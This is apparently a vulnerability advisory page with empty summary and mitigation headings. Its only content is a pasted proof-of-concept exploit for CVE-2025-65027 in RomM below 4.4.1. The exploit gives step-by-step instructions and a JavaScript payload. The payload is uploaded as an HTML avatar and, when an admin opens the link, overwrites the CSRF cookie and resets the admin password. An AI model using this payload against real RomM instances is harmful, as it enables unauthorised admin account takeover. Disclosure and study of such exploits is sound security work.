Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: RomM < 4.4.1 - XSS_CSRF Chain # Date: 2025-12-03 # Exploit Author: He4am (https://github.com/mHe4am) # Vendor Homepage: https://romm.app/ # Software Link: https://github.com/rommapp/romm (Docker: https://hub.docker.com/r/rommapp/romm) # Version: < 4.4.1 # Tested on: Linux # CVE: CVE-2025-65027 # ------------------- # Vulnerability: Chaining unrestricted file upload (XSS) + CSRF token reuse to bypass SameSite protection # Impact: Admin account takeover # Prerequisites: # 1. Attacker needs an authenticated account (Viewer role is sufficient) # 2. Victim must visit the uploaded malicious HTML file via a direct link # Steps to reproduce: # 1. Login to RomM # 2. Obtain your CSRF token: # - Open browser DevTools > Application tab (or Storage on Firefox) > Cookies # - Copy the `romm_csrftoken` cookie value # 3. Replace <ATTACKER_CSRF_TOKEN> below with your token # 4. Replace <TARGET_ROMM_URL> with the target RomM instance URL (e.g., http://romm.local) # 5. Save this file as `avatar.html` # 6. Upload it as your profile avatar (http://romm.local/user/me) and click the Apply button # 7. Locate the uploaded file's direct link: # - DevTools > Network tab > Filter for `.html` files # - Or capture it via proxy (e.g., Burp Suite) # - It's usually something like: "http://romm.local/assets/romm/assets/users/<Random-ID>/profile/avatar.html" # 8. Send this direct link of the uploaded avatar/file to the victim # 9. When victim (e.g. admin) opens the link, their password will be changed to "Passw0rd" # ------------------- # PoC Code: <script> const csrfToken = "<ATTACKER_CSRF_TOKEN>"; // CHANGE THIS - Your CSRF token from step 2 const targetURL = "<TARGET_ROMM_URL>"; // CHANGE THIS - Target RomM URL (e.g., http://romm.local) const targetUserID = 1; // Default admin ID is always 1, CHANGE THIS if needed const newPassword = "Passw0rd"; // Password to set for victim // Overwrite CSRF cookie to match our token document.cookie = `romm_csrftoken=${csrfToken}; path=/`; // Execute account takeover by forcing the victim to change their password fetch(targetURL + "/api/users/" + targetUserID, { method: 'PUT', credentials: 'include', // Send victim's session cookie headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'x-csrftoken': csrfToken }, body: "password=" + newPassword }) .then(() => { console.log("Password changed successfully"); }) .catch(err => { console.error("Attack failed:", err); }); </script> # ------------------- # See full writeup for technical details: https://he4am.medium.com/bypassing-samesite-protection-chaining-xss-and-csrf-for-admin-ato-in-romm-44d910c54403